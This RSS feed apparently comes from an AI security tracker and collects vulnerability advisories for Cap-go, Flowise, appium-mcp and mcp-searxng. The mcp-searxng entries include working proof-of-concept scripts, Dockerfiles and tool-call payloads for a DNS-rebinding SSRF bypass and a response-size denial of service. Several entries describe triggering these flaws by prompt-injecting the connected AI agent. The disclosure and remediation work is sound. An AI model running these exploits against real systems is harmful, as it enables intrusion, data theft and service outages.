<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <atom:link href="https://vulnwatch.ai/feed" rel="self" type="application/rss+xml" />
        <title><![CDATA[VulnWatch — AI Security Tracker]]></title>
        <link><![CDATA[https://vulnwatch.ai/feed]]></link>
        <description><![CDATA[Curated AI/ML security vulnerabilities, advisories, and breach disclosures.]]></description>
        <language>en-US</language>
        <pubDate>Sat, 20 Jun 2026 18:00:50 +0000</pubDate>

                    <item>
                <title><![CDATA[CVE-2026-56307: Cap-go before 12.128.12 contains a broken cursor pagination vulnerability in the /private/devices endpoint on the Cloudf]]></title>
                <link>https://nvd.nist.gov/vuln/detail/CVE-2026-56307</link>
                <description><![CDATA[Cap-go before 12.128.12 contains a broken cursor pagination vulnerability in the /private/devices endpoint on the Cloudflare/workerd path that allows authenticated attackers to cause duplicate-page loops and make later rows unreachable. Attackers with app.read_devices access can exploit non-advancing cursor filters to trigger infinite pagination loops, prevent dataset traversal, and cause repeated processing in device-management workflows.]]></description>
                <author><![CDATA[VulnWatch]]></author>
                <pubDate>Sat, 20 Jun 2026 18:00:47 +0000</pubDate>
                            </item>
                    <item>
                <title><![CDATA[CVE-2024-58351: Flowise before 2.1.4 allows configuration to be injected into the Chainflow during execution via the overrideConfig opti]]></title>
                <link>https://nvd.nist.gov/vuln/detail/CVE-2024-58351</link>
                <description><![CDATA[Flowise before 2.1.4 allows configuration to be injected into the Chainflow during execution via the overrideConfig option, supported in both the frontend web integration and the backend Prediction API. Because this feature is enabled by default with no allow-list of permitted variables and relies on vm2 for sandboxing, an attacker can abuse it to achieve remote code execution and sandbox escape, denial of service by crashing the server, server-side request forgery, prompt injection, and server variable and data exfiltration. These issues are self-targeted and do not persist to other users.]]></description>
                <author><![CDATA[VulnWatch]]></author>
                <pubDate>Sat, 20 Jun 2026 18:00:50 +0000</pubDate>
                            </item>
                    <item>
                <title><![CDATA[appium-mcp: Unescaped Locator Data XSS in MCP-UI Resource (createLocatorGeneratorUI)]]></title>
                <link>https://github.com/advisories/GHSA-x975-rgx4-5fh4</link>
                <description><![CDATA[## Unescaped Locator Data XSS in MCP-UI Resource (createLocatorGeneratorUI)

### Summary

`appium-mcp`'s `createLocatorGeneratorUI` function interpolates attacker-controlled element attributes — `text`, `content-desc`, `resource-id`, and locator selector values — directly into an HTML template literal without any HTML or JavaScript context escaping. An attacker who controls the UI of the app under test can inject arbitrary HTML and JavaScript into the MCP UI resource returned by the `generate_locators` tool. When a victim's MCP client renders this resource, the injected script executes and can invoke arbitrary MCP tools via `window.parent.postMessage`, leading to unauthorized MCP tool execution such as taking screenshots, reading page source, or any other registered capability.

### Details

The vulnerability is a stored/reflected cross-site scripting (XSS) issue in the MCP UI generation pipeline.

**Vulnerable sink — `src/ui/mcp-ui-utils.ts:730–740`:**

```ts
${element.text ? `Text: ${element.text}` : ''}
${element.contentDesc ? `Content Desc: ${element.contentDesc}` : ''}
${element.resourceId ? `Resource ID: ${element.resourceId}` : ''}
${selector}
Test
```

None of `element.text`, `element.contentDesc`, `element.resourceId`, `selector`, or `strategy` are HTML-escaped before insertion. The `onclick` attribute additionally embeds `selector` and `strategy` into an inline JavaScript string using only a backtick-escape that is insufficient to prevent breakout via HTML event attribute syntax or single-quote injection.

By contrast, `createPageSourceInspectorUI` at `src/ui/mcp-ui-utils.ts:911–916` does apply escaping to the page source, confirming that the protection gap in `createLocatorGeneratorUI` is an oversight, not a design choice.

**Complete data flow (source → sink):**

1. `src/tools/test-generation/locators.ts:57` — `getPageSource(driver)` reads the page source XML from an active Appium session; the connected app is fully attacker-controlled.
2. `src/tools/test-generation/locators.ts:72` — the raw page source is passed to `generateAllElementLocators`.
3. `src/locators/source-parsing.ts:108` — XML attribute values undergo only newline replacement (`attr.value.replace(/(\n)/gm, '\n')`); HTML entities such as `&lt;` are decoded into raw `]]></description>
                <author><![CDATA[VulnWatch]]></author>
                <pubDate>Sat, 20 Jun 2026 01:00:04 +0000</pubDate>
                            </item>
                    <item>
                <title><![CDATA[ SearXNG MCP Server: DNS-resolved Private Hostname SSRF in `web_url_read`]]></title>
                <link>https://github.com/advisories/GHSA-mrvx-jmjw-vggc</link>
                <description><![CDATA[## DNS-resolved Private Hostname SSRF in `web_url_read`

### Summary

The `web_url_read` MCP tool in `mcp-searxng` is vulnerable to Server-Side Request Forgery (SSRF) via DNS rebinding bypass. The `assertUrlAllowed()` function at `src/url-reader.ts:85-93` validates only the syntactic hostname string against a private IP/hostname blocklist without performing DNS resolution. An attacker who controls a domain that resolves to a private or loopback IP address (e.g., via a wildcard DNS service like `nip.io`, or a custom DNS entry) can bypass the security check and cause the MCP server to read arbitrary internal HTTP services reachable from the server host. This allows exfiltration of sensitive data from internal services with no authentication required in the default HTTP configuration.

### Details

The vulnerable code is in `src/url-reader.ts`, where the `assertUrlAllowed()` function performs a hostname-only string comparison:

```ts
// src/url-reader.ts:85-93
function assertUrlAllowed(url: URL): void {
  const security = getHttpSecurityConfig();
  if (security.allowPrivateUrls) {
    return;
  }

  if (isPrivateHostname(url.hostname) || isPrivateIpv4(url.hostname) || isPrivateIPv6(url.hostname)) {
    throw createURLSecurityPolicyError(url.toString());
  }
}
```

This function checks whether `url.hostname` lexically matches a private address pattern but never resolves the hostname via DNS. The OS-level DNS resolution happens later, inside `undiciFetch()` at `src/url-reader.ts:367`, after the security gate has already passed.

The full data flow is:

1. `src/index.ts:37-49` — `isWebUrlReadArgs()` accepts `args.url` as any string value with no URL policy enforcement.
2. `src/index.ts:226-240` — `web_url_read` passes `args.url` directly to `fetchAndConvertToMarkdown()`.
3. `src/url-reader.ts:307-313` — URL is parsed and `assertUrlAllowed(parsedUrl)` is called (string check only).
4. `src/url-reader.ts:85-93` — `assertUrlAllowed()` checks `url.hostname` as a string; no DNS resolution is performed.
5. `src/url-reader.ts:367` — `undiciFetch(currentUrl.toString(), currentRequestOptions)` resolves the hostname via OS DNS and connects to the resolved IP, which may be a private or loopback address.

In the default HTTP mode (`MCP_HTTP_HARDEN` unset), `requireAuth` is `false` (see `src/http-security.ts:30-41`), meaning no authentication is required to invoke `web_url_read`.

The recommended remediation is to resolve the hostname via `node:dns/promises` inside `assertUrlAllowed()` before the fetch is issued:

```diff
--- a/src/url-reader.ts
+++ b/src/url-reader.ts
@@
 import { isIP } from "node:net";
+import { lookup } from "node:dns/promises";
@@
-function assertUrlAllowed(url: URL): void {
+async function assertUrlAllowed(url: URL): Promise {
   const security = getHttpSecurityConfig();
   if (security.allowPrivateUrls) {
     return;
   }
+  if (!["http:", "https:"].includes(url.protocol)) {
+    throw createURLSecurityPolicyError(url.toString());
+  }

   if (isPrivateHostname(url.hostname) || isPrivateIpv4(url.hostname) || isPrivateIPv6(url.hostname)) {
     throw createURLSecurityPolicyError(url.toString());
   }
+  if (isIP(url.hostname) === 0) {
+    const answers = await lookup(url.hostname, { all: true, verbatim: true });
+    if (answers.some(({ address }) => isPrivateIpv4(address) || isPrivateIPv6(address))) {
+      throw createURLSecurityPolicyError(url.toString());
+    }
+  }
 }
@@
-  assertUrlAllowed(parsedUrl);
+  await assertUrlAllowed(parsedUrl);
@@
-        assertUrlAllowed(nextUrl);
+        await assertUrlAllowed(nextUrl);
```

### PoC

**Prerequisites:**

- Docker installed on the test machine.
- The `mcp-searxng` repository cloned locally (version 1.6.0 / commit `90423e5`).

**Build the container:**

```bash
docker build -t mcp-searxng-ssrf-001 -f vuln-001/Dockerfile .
```

**Run the PoC:**

```bash
docker run --rm \
  --add-host ssrf-target.internal:127.0.0.1 \
  -v $(pwd)/vuln-001/poc.py:/poc.py \
  mcp-searxng-ssrf-001 \
  python3 /poc.py
```

The `--add-host` flag maps `ssrf-target.internal` to `127.0.0.1` inside the container, simulating a DNS-resolved private hostname (equivalent to using a wildcard DNS service like `127.0.0.1.nip.io` in a real attack).

**What the PoC does:**

1. Starts a Python HTTP server on `127.0.0.1:9796` returning the sentinel value `INTERNAL-SECRET-OK-SSRF-PROOF`.
2. Starts the MCP server in STDIO mode.
3. **Test 1:** Sends a `tools/call` request for `http://127.0.0.1:9796/` — this is correctly **blocked** by `assertUrlAllowed()`.
4. **Test 2:** Sends a `tools/call` request for `http://ssrf-target.internal:9796/` — this **bypasses** the check because the hostname is syntactically public, but resolves to `127.0.0.1` at fetch time.

**Expected output (confirming SSRF):**

```
[+] BLOCKED  — assertUrlAllowed() correctly rejected 127.0.0.1
[!!!] SSRF BYPASS CONFIRMED
[!!!] Sentinel 'INTERNAL-SECRET-OK-SSRF-PROOF' found in MCP tool response
    Raw tool response text: 'INTERNAL-SECRET-OK-SSRF-PROOF'
    URL: http://ssrf-target.internal:9796/ (resolves to 127.0.0.1 via /etc/hosts)
    assertUrlAllowed() sees hostname='ssrf-target.internal' → passes string check
    undiciFetch() resolves DNS → 127.0.0.1 → reads internal service
[RESULT] PASS
```

The same bypass can be achieved in production using any public DNS wildcard service that resolves to a private IP (e.g., `http://127.0.0.1.nip.io:PORT/`), or by controlling a custom DNS record.

**MCP JSON-RPC request (STDIO mode):**

```json
{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"web_url_read","arguments":{"url":"http://ssrf-target.internal:9796/","maxLength":200}}}
```

### Impact

This is a Server-Side Request Forgery (SSRF) vulnerability. An attacker who can send requests to the MCP server — or who can influence an AI agent connected to the server to call `web_url_read` with an attacker-controlled URL — can:

- **Read internal HTTP services** reachable from the MCP server host (e.g., cloud metadata endpoints at `169.254.169.254`, internal APIs, admin dashboards, databases with HTTP interfaces).
- **Exfiltrate sensitive data** such as cloud provider credentials, internal service tokens, or configuration secrets.
- **Enumerate internal network topology** by probing responses from different internal hosts and ports.

In the default HTTP deployment configuration (`MCP_HTTP_HARDEN` unset), authentication is disabled (`requireAuth: false`), so any unauthenticated network client can exploit this vulnerability. In STDIO mode, exploitation requires the AI agent connected to the MCP server to be tricked into providing an attacker-controlled URL, which is feasible via prompt injection or malicious content fetched from the web.

The vulnerability has a CVSS v3.1 score of **7.1 (High)** and affects all users running `mcp-searxng` version 1.6.0 without setting `MCP_HTTP_ALLOW_PRIVATE_URLS=false` explicitly overriding to true (the insecure opt-in) or applying a patched version.

### Reproduction artifacts

#### `Dockerfile`

```dockerfile
FROM node:20-slim

# Install Python3 for the PoC script
RUN apt-get update && apt-get install -y --no-install-recommends python3 && rm -rf /var/lib/apt/lists/*

WORKDIR /app

# Copy the entire repository
COPY . /app/

# Install dependencies and compile TypeScript
RUN npm ci && npm run build

# Verify the build output exists
RUN test -f dist/index.js || (echo "ERROR: dist/index.js not found after build" && exit 1)

# Default: drop into a shell for manual inspection; overridden by docker run
CMD ["node", "dist/index.js"]
```

#### `poc.py`

```python
#!/usr/bin/env python3
"""
PoC for VULN-001: DNS-resolved Private Hostname SSRF in web_url_read
CWE-918 | CVSS 7.1

The assertUrlAllowed() function (src/url-reader.ts:85-93) checks only the
url.hostname string against private IP/hostname patterns without performing DNS
resolution.  A hostname that is syntactically public but resolves to a private
or loopback address at fetch time bypasses the check.

Attack flow:
  1. Attacker provides URL with a hostname that passes the string check.
  2. assertUrlAllowed(parsedUrl) at line 313 passes (no DNS resolution).
  3. undiciFetch() at line 367 resolves the hostname via OS DNS, gets 127.0.0.1,
     and connects to the internal service.

Requirements:
  - Container must be started with --add-host ssrf-target.internal:127.0.0.1
    so that the bypass hostname resolves to the loopback address via /etc/hosts.
  - Node.js MCP server binary at /app/dist/index.js

Usage:
  python3 poc.py
  Exit 0 = PASS (bypass confirmed), non-zero = FAIL
"""

import http.server
import json
import os
import queue
import subprocess
import sys
import threading
import time

# ── constants ────────────────────────────────────────────────────────────────

SENTINEL       = "INTERNAL-SECRET-OK-SSRF-PROOF"
INTERNAL_PORT  = 9796
BYPASS_HOST    = "ssrf-target.internal"   # /etc/hosts: 127.0.0.1 (via --add-host)
MCP_BINARY     = "/app/dist/cli.js"
TIMEOUT_SEC    = 20


# ── internal HTTP server ─────────────────────────────────────────────────────

class SentinelHandler(http.server.BaseHTTPRequestHandler):
    """Simulates an internal service that the SSRF attack reads."""

    def _send_sentinel(self, with_body=True):
        body = (SENTINEL + "\n").encode()
        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        if with_body:
            self.wfile.write(body)

    def do_GET(self):
        self._send_sentinel(with_body=True)

    def do_HEAD(self):
        self._send_sentinel(with_body=False)

    def log_message(self, fmt, *args):   # silence access log
        pass


def start_internal_server():
    server = http.server.HTTPServer(("127.0.0.1", INTERNAL_PORT), SentinelHandler)
    threading.Thread(target=server.serve_forever, daemon=True).start()
    print(f"[+] Internal HTTP server listening on 127.0.0.1:{INTERNAL_PORT}"
          f'  -> sentinel: "{SENTINEL}"')
    return server


# ── MCP communication helpers ─────────────────────────────────────────────────

def start_mcp_server():
    """Spawn the MCP server in STDIO mode."""
    env = os.environ.copy()
    env.update({
        "NODE_ENV": "production",
        # SEARXNG_URL is intentionally unset; web_url_read does not need it.
    })
    proc = subprocess.Popen(
        ["node", MCP_BINARY],
        stdin=subprocess.PIPE,
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
        env=env,
    )
    return proc


def drain_stderr(proc):
    """Drain stderr in a background thread to prevent blocking."""
    def _reader():
        for _ in proc.stderr:
            pass
    threading.Thread(target=_reader, daemon=True).start()


def attach_stdout_reader(proc):
    """Return a queue that receives decoded JSON-RPC messages from stdout."""
    q = queue.Queue()

    def _reader():
        for raw in proc.stdout:
            line = raw.strip()
            if not line:
                continue
            try:
                q.put(json.loads(line.decode()))
            except json.JSONDecodeError:
                pass   # skip non-JSON output

    threading.Thread(target=_reader, daemon=True).start()
    return q


def send_rpc(proc, method, params=None, rpc_id=None):
    """Write one JSON-RPC 2.0 message to the MCP server's stdin."""
    msg = {"jsonrpc": "2.0", "method": method}
    if rpc_id is not None:
        msg["id"] = rpc_id
    if params is not None:
        msg["params"] = params
    proc.stdin.write((json.dumps(msg) + "\n").encode())
    proc.stdin.flush()


def expect_response(q, target_id, timeout=TIMEOUT_SEC):
    """Wait for a JSON-RPC response matching target_id."""
    deadline = time.time() + timeout
    while time.time() < deadline:
        try:
            msg = q.get(timeout=1.0)
            if msg.get("id") == target_id:
                return msg
        except queue.Empty:
            continue
    return None


def initialize_mcp(proc, q):
    """Perform the MCP initialize / initialized handshake."""
    send_rpc(proc, "initialize", {
        "protocolVersion": "2024-11-05",
        "capabilities": {},
        "clientInfo": {"name": "ssrf-poc", "version": "1.0"},
    }, rpc_id=1)

    resp = expect_response(q, target_id=1)
    if resp is None or "result" not in resp:
        raise RuntimeError(f"MCP initialize timed out or failed: {resp}")

    proto = resp["result"].get("protocolVersion", "?")
    print(f"[+] MCP handshake complete (protocol={proto})")

    # Acknowledge initialization
    send_rpc(proc, "notifications/initialized")
    time.sleep(0.15)


def call_url_read(proc, q, url, rpc_id):
    """Invoke the web_url_read tool and return the raw JSON-RPC response."""
    send_rpc(proc, "tools/call", {
        "name": "web_url_read",
        "arguments": {"url": url, "maxLength": 600},
    }, rpc_id=rpc_id)
    return expect_response(q, target_id=rpc_id)


# ── result helpers ────────────────────────────────────────────────────────────

def extract_text(resp):
    """Return the text content from a tools/call result, or None."""
    if resp is None:
        return None
    if "error" in resp:
        return None
    try:
        return resp["result"]["content"][0]["text"]
    except (KeyError, IndexError, TypeError):
        return None


def is_blocked(resp):
    """Return True when the response indicates a security-policy block."""
    if resp is None:
        return False
    # MCP SDK may surface tool errors as JSON-RPC errors OR as isError results
    if "error" in resp:
        return True
    text = extract_text(resp) or ""
    if resp.get("result", {}).get("isError"):
        return True
    if "URLSecurityPolicy" in text or "not allowed" in text.lower():
        return True
    return False


# ── main ──────────────────────────────────────────────────────────────────────

def main():
    print("=" * 62)
    print("VULN-001  DNS-resolved Private Hostname SSRF in web_url_read")
    print("=" * 62)

    # 1. Verify /etc/hosts entry is present
    bypass_url = f"http://{BYPASS_HOST}:{INTERNAL_PORT}/"
    with open("/etc/hosts") as f:
        hosts_content = f.read()
    if BYPASS_HOST not in hosts_content:
        print(f"[-] FATAL: '{BYPASS_HOST}' not in /etc/hosts.")
        print("    Re-run with: --add-host ssrf-target.internal:127.0.0.1")
        sys.exit(3)
    print(f"[+] /etc/hosts contains entry for {BYPASS_HOST}")

    # 2. Start internal HTTP service
    start_internal_server()
    time.sleep(0.2)

    # 3. Start MCP server
    print(f"[*] Spawning MCP server: node {MCP_BINARY}")
    proc = start_mcp_server()
    drain_stderr(proc)
    msg_queue = attach_stdout_reader(proc)
    time.sleep(1.2)   # allow server startup

    if proc.poll() is not None:
        print(f"[-] MCP server exited early (rc={proc.returncode})")
        sys.exit(4)
    print(f"[+] MCP server running (PID={proc.pid})")

    try:
        # 4. MCP handshake
        print("[*] MCP initialize ...")
        initialize_mcp(proc, msg_queue)

        # ── Test 1: direct private IP should be BLOCKED ───────────────────
        blocked_target = f"http://127.0.0.1:{INTERNAL_PORT}/"
        print(f"\n[*] Test 1 — direct private IP (EXPECT: BLOCKED)")
        print(f"    URL: {blocked_target}")
        resp1 = call_url_read(proc, msg_queue, blocked_target, rpc_id=2)
        text1 = extract_text(resp1) or ""

        if is_blocked(resp1):
            print(f"[+] BLOCKED  — assertUrlAllowed() correctly rejected 127.0.0.1")
        else:
            print(f"[!] WARNING — direct 127.0.0.1 was NOT blocked (text={text1[:120]})")

        # ── Test 2: hostname bypass SHOULD succeed ─────────────────────────
        print(f"\n[*] Test 2 — hostname bypass (EXPECT: PASS / SSRF)")
        print(f"    URL: {bypass_url}")
        print(f"    assertUrlAllowed() sees hostname='{BYPASS_HOST}' → passes string check")
        print(f"    undiciFetch() resolves DNS → 127.0.0.1 → reads internal service")
        resp2 = call_url_read(proc, msg_queue, bypass_url, rpc_id=3)
        text2 = extract_text(resp2) or ""

        print(f"\n    Raw tool response text (first 400 chars):")
        print(f"    {repr(text2[:400])}")

        if SENTINEL in text2:
            print(f"\n[!!!] SSRF BYPASS CONFIRMED")
            print(f"[!!!] Sentinel '{SENTINEL}' found in MCP tool response")
            print(f"\n[RESULT] PASS")
            sys.exit(0)
        elif is_blocked(resp2):
            print(f"\n[-] Bypass request was also BLOCKED (unexpected).")
            print(f"    resp2={json.dumps(resp2)[:300]}")
            print(f"\n[RESULT] FAIL — bypass was blocked")
            sys.exit(1)
        else:
            print(f"\n[-] Response received but sentinel not found.")
            print(f"    resp2={json.dumps(resp2)[:400]}")
            print(f"\n[RESULT] FAIL — unexpected response")
            sys.exit(1)

    finally:
        proc.terminate()


if __name__ == "__main__":
    main()
```]]></description>
                <author><![CDATA[VulnWatch]]></author>
                <pubDate>Sat, 20 Jun 2026 01:00:02 +0000</pubDate>
                            </item>
                    <item>
                <title><![CDATA[ SearXNG MCP Server: Unbounded Response Body Read Bypasses URL Size Limit in `web_url_read`]]></title>
                <link>https://github.com/advisories/GHSA-xcqx-9jf5-w339</link>
                <description><![CDATA[## Unbounded Response Body Read Bypasses URL Size Limit in `web_url_read`

### Summary

The `web_url_read` MCP tool in mcp-searxng enforces its 5 MiB response-size limit exclusively by inspecting the `Content-Length` header of a preliminary HEAD request. When a server omits `Content-Length` — a standard HTTP practice — `checkContentLength()` returns `null`, the guard condition short-circuits to `false`, and `response.text()` loads the entire response body into memory without any byte cap. An unauthenticated attacker who controls or can redirect to an HTTP endpoint can force the server process to consume unbounded memory and CPU, leading to a Denial of Service.

### Details

`web_url_read` is the entry point (`src/index.ts:226-240`). It passes the caller-supplied URL directly into `readUrlContent()` in `src/url-reader.ts`.

**Size-limit check (bypassed)**

```ts
// src/url-reader.ts:352-360
const contentLength = await checkContentLength(...);
if (contentLength !== null && contentLength > maxContentLengthBytes) {
  return createContentTooLargeMessage(contentLength, maxContentLengthBytes);
}
```

`checkContentLength()` (`src/url-reader.ts:243-245`) returns `null` when the HEAD response carries no `Content-Length` header. Because the guard uses the `!== null` conjunction, a `null` result causes the entire check to evaluate as `false`, and execution falls through without enforcing the configured 5 MiB ceiling.

**Unbounded sinks**

A full GET request is then issued (`src/url-reader.ts:367`) with no streaming byte cap:

```ts
// src/url-reader.ts:414  — normal response path
htmlContent = await response.text();

// src/url-reader.ts:402  — error response path (same issue)
responseBody = await response.text();
```

The full HTML string is subsequently passed to `NodeHtmlMarkdown.translate()` (`src/url-reader.ts:429`), which amplifies CPU consumption proportional to the body size.

**Default exposure**

`web_url_read` is enabled by default. In HTTP transport mode, authentication is disabled by default, so `AV:N/PR:N` applies unconditionally. In stdio mode, an attacker can trigger the path via prompt injection to cause the AI model to call the tool with an attacker-controlled URL.

### PoC

**Prerequisites**

- Docker installed.
- Build context: the repository root (`npmAI_249_ihor-sokoliuk__mcp-searxng/`).

**Build the image**

```bash
docker build \
  -t vuln002-test \
  -f vuln-002/Dockerfile \
  reports/npmAI_249_ihor-sokoliuk__mcp-searxng/
```

**Run the PoC**

```bash
docker run --rm vuln002-test
```

The container starts two processes:
1. A malicious HTTP server on `127.0.0.1:9799` that responds to HEAD with HTTP 200 and **no `Content-Length`**, then responds to GET with a 6,291,456-byte HTML body and **no `Content-Length`**.
2. mcp-searxng in HTTP mode (`MCP_HTTP_ALLOW_PRIVATE_URLS=true` enables loopback URLs for local reproduction).

The PoC script initializes an MCP session and calls:

```json
{
  "method": "tools/call",
  "params": {
    "name": "web_url_read",
    "arguments": { "url": "http://127.0.0.1:9799/", "maxLength": 1 }
  }
}
```

**Observed output (Phase 2 confirmation)**

```
HEAD_REQUESTS              : 1
GET_REQUESTS               : 1
GET_BYTES_SENT             : 6,291,456
CONFIGURED_DEFAULT_LIMIT   : 5,242,880
BYTES_OVER_LIMIT           : +1,048,576
ELAPSED_SEC                : 0.17
TOOL_STATUS                : SUCCESS
RETURNED_LENGTH_CHARS      : 1

[PASS] VULNERABILITY CONFIRMED
  6,291,456 bytes were transmitted to mcp-searxng despite a 5,242,880-byte (5 MiB) limit.
  Root cause confirmed:
    1. HEAD response had no Content-Length header.
    2. checkContentLength() returned null  (url-reader.ts:243-245)
    3. Guard condition was false (null !== null => false) (url-reader.ts:359)
    4. response.text() read 6,291,456 bytes without a cap (url-reader.ts:414)
```

**Remediation**

Replace both `response.text()` calls with a streaming reader that aborts once the byte counter exceeds `maxContentLengthBytes`:

```diff
+async function readResponseTextWithLimit(response: Response, maxBytes: number): Promise {
+  if (!response.body) return response.text();
+  const reader = response.body.getReader();
+  const decoder = new TextDecoder();
+  const chunks: string[] = [];
+  let total = 0;
+  while (true) {
+    const { done, value } = await reader.read();
+    if (done) break;
+    total += value.byteLength;
+    if (total > maxBytes) { await reader.cancel(); return null; }
+    chunks.push(decoder.decode(value, { stream: true }));
+  }
+  chunks.push(decoder.decode());
+  return chunks.join("");
+}

-        responseBody = await response.text();
+        responseBody = await readResponseTextWithLimit(response, maxContentLengthBytes)
+          ?? "[Response body exceeded configured size limit]";

-      htmlContent = await response.text();
+      const limitedBody = await readResponseTextWithLimit(response, maxContentLengthBytes);
+      if (limitedBody === null) {
+        return createContentTooLargeMessage(maxContentLengthBytes + 1, maxContentLengthBytes);
+      }
+      htmlContent = limitedBody;
```

### Impact

This is an **Uncontrolled Resource Consumption (DoS)** vulnerability. Any network-reachable attacker who can supply a URL to the `web_url_read` tool can force the mcp-searxng process to allocate memory proportional to an arbitrarily large HTTP response body and burn CPU during HTML-to-Markdown conversion. The attack requires no authentication in the default HTTP transport configuration. In stdio mode, the attack surface is accessible through prompt injection targeting the AI agent. Repeated or concurrent invocations can exhaust process memory and render the MCP server unavailable to all legitimate users.

### Reproduction artifacts

#### `Dockerfile`

```dockerfile
FROM node:20-slim

# Install Python3 for the PoC script
RUN apt-get update && apt-get install -y --no-install-recommends python3 \
    && rm -rf /var/lib/apt/lists/*

# Copy repository source and build the vulnerable mcp-searxng
# Build context: parent directory (npmAI_249_ihor-sokoliuk__mcp-searxng/)
WORKDIR /app
COPY repo/ /app/
RUN npm ci && npm run build

# Copy the PoC script
COPY vuln-002/poc.py /poc.py

# Run the dynamic reproduction PoC
CMD ["python3", "-u", "/poc.py"]
```

#### `poc.py`

```python
#!/usr/bin/env python3
"""
PoC for VULN-002: Unbounded Response Body Read Bypasses URL Size Limit (CWE-400)

Affected: ihor-sokoliuk/mcp-searxng v1.6.0
File:     src/url-reader.ts:414 (response.text())
CWE:      CWE-400 Uncontrolled Resource Consumption
CVSS:     7.5 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

Root cause:
  checkContentLength() at src/url-reader.ts:243-245 returns null when the
  server sends no Content-Length header.  The guard at line 359:
      if (contentLength !== null && contentLength > maxContentLengthBytes)
  evaluates to false (null !== null => false), so the check is skipped.
  response.text() at line 414 then reads the full body without any byte cap.

Reproduction:
  1. Malicious HTTP server (this process, port 9799):
       HEAD => 200, Content-Type only, NO Content-Length
       GET  => 200, 6+ MiB HTML body, NO Content-Length
  2. mcp-searxng (subprocess, HTTP mode, port 3000):
       MCP_HTTP_ALLOW_PRIVATE_URLS=true  -- allows 127.x for local PoC
  3. This script initializes an MCP session, calls web_url_read pointing
     at the malicious server, and measures actual bytes transmitted.

Expected evidence:
  GET_BYTES_SENT > CONFIGURED_DEFAULT_LIMIT (5242880)
  => The 5 MiB guard was bypassed; full body was consumed without a cap.
"""

import json
import os
import socket
import subprocess
import sys
import threading
import time
import urllib.error
import urllib.request
from http.server import BaseHTTPRequestHandler, HTTPServer

# ---------------------------------------------------------------------------
# Constants
# ---------------------------------------------------------------------------
DEFAULT_MAX_CONTENT_LENGTH = 5 * 1024 * 1024  # 5 MiB (same as src/url-reader.ts)
BODY_SIZE_BYTES = 6 * 1024 * 1024             # 6 MiB — exceeds the configured limit
EVIL_PORT = 9799
MCP_PORT  = 3000

# ---------------------------------------------------------------------------
# Shared state — updated by the malicious server thread
# ---------------------------------------------------------------------------
g_bytes_sent = 0
g_head_count = 0
g_get_count  = 0

# ---------------------------------------------------------------------------
# Malicious HTTP server
# ---------------------------------------------------------------------------
class MaliciousHandler(BaseHTTPRequestHandler):
    """
    Simulates an attacker-controlled HTTP server that:
      - Returns 200 for HEAD with NO Content-Length (triggers null in checkContentLength)
      - Returns 200 for GET with a 6 MiB body and NO Content-Length
        (triggers unbounded response.text() read)
    """

    # Use HTTP/1.0 so the connection closes after the body — no Content-Length needed.
    protocol_version = "HTTP/1.0"

    def log_message(self, fmt, *args):  # suppress default per-request logging
        pass

    def do_HEAD(self):
        global g_head_count
        g_head_count += 1
        print(
            f"[EVIL-SERVER] HEAD #{g_head_count} from {self.address_string()}"
            " — responding 200 with NO Content-Length (triggers null in checkContentLength)",
            flush=True,
        )
        self.send_response(200)
        self.send_header("Content-Type", "text/html; charset=utf-8")
        # Deliberately omitting Content-Length — this is the bypass trigger
        self.end_headers()

    def do_GET(self):
        global g_get_count, g_bytes_sent
        g_get_count += 1
        print(
            f"[EVIL-SERVER] GET #{g_get_count} from {self.address_string()}"
            f" — streaming {BODY_SIZE_BYTES:,} bytes with NO Content-Length",
            flush=True,
        )
        self.send_response(200)
        self.send_header("Content-Type", "text/html; charset=utf-8")
        # Deliberately NO Content-Length header
        self.end_headers()

        # Build a simple but large HTML body that exceeds DEFAULT_MAX_CONTENT_LENGTH.
        # Simple structure keeps NodeHtmlMarkdown conversion fast.
        header = b""
        footer = b""
        payload_char = b"A"
        target = BODY_SIZE_BYTES - len(header) - len(footer)
        chunk_size = 65536  # 64 KiB chunks
        total = 0
        try:
            self.wfile.write(header)
            total += len(header)
            while total < BODY_SIZE_BYTES - len(footer):
                chunk = payload_char * min(chunk_size, BODY_SIZE_BYTES - len(footer) - total)
                self.wfile.write(chunk)
                total += len(chunk)
            self.wfile.write(footer)
            total += len(footer)
        except (BrokenPipeError, OSError):
            pass  # client may close early on abort
        g_bytes_sent = total
        print(f"[EVIL-SERVER] Done. Total bytes sent: {g_bytes_sent:,}", flush=True)


def run_evil_server():
    srv = HTTPServer(("127.0.0.1", EVIL_PORT), MaliciousHandler)
    srv.serve_forever()


# ---------------------------------------------------------------------------
# Helpers
# ---------------------------------------------------------------------------
def wait_for_port(host: str, port: int, timeout: float = 30) -> bool:
    deadline = time.monotonic() + timeout
    while time.monotonic() < deadline:
        try:
            with socket.create_connection((host, port), timeout=1):
                return True
        except (ConnectionRefusedError, OSError):
            time.sleep(0.3)
    return False


def http_post(url: str, payload: dict, session_id: str | None = None, timeout: float = 120) -> tuple[bytes, str, str | None]:
    """POST a JSON-RPC payload to the MCP HTTP endpoint. Returns (body, content_type, session_id)."""
    headers = {
        "Content-Type": "application/json",
        "Accept": "application/json, text/event-stream",
    }
    if session_id:
        headers["mcp-session-id"] = session_id

    data = json.dumps(payload).encode()
    req = urllib.request.Request(url, data=data, headers=headers, method="POST")
    with urllib.request.urlopen(req, timeout=timeout) as resp:
        body = resp.read()
        ct   = resp.headers.get("content-type", "")
        sid  = resp.headers.get("mcp-session-id")
        return body, ct, sid


def parse_mcp_response(body: bytes, content_type: str) -> dict | None:
    """Parse a JSON or SSE-wrapped JSON-RPC response."""
    if "text/event-stream" in content_type:
        for line in body.decode(errors="replace").splitlines():
            if line.startswith("data: "):
                try:
                    return json.loads(line[6:])
                except json.JSONDecodeError:
                    continue
        return None
    try:
        return json.loads(body)
    except json.JSONDecodeError:
        # Fallback: try SSE even if content-type says JSON
        for line in body.decode(errors="replace").splitlines():
            if line.startswith("data: "):
                try:
                    return json.loads(line[6:])
                except json.JSONDecodeError:
                    continue
        return None


# ---------------------------------------------------------------------------
# Main PoC
# ---------------------------------------------------------------------------
def main():
    print("=" * 72, flush=True)
    print("VULN-002 PoC — Unbounded Response Body Read Bypasses URL Size Limit", flush=True)
    print("=" * 72, flush=True)
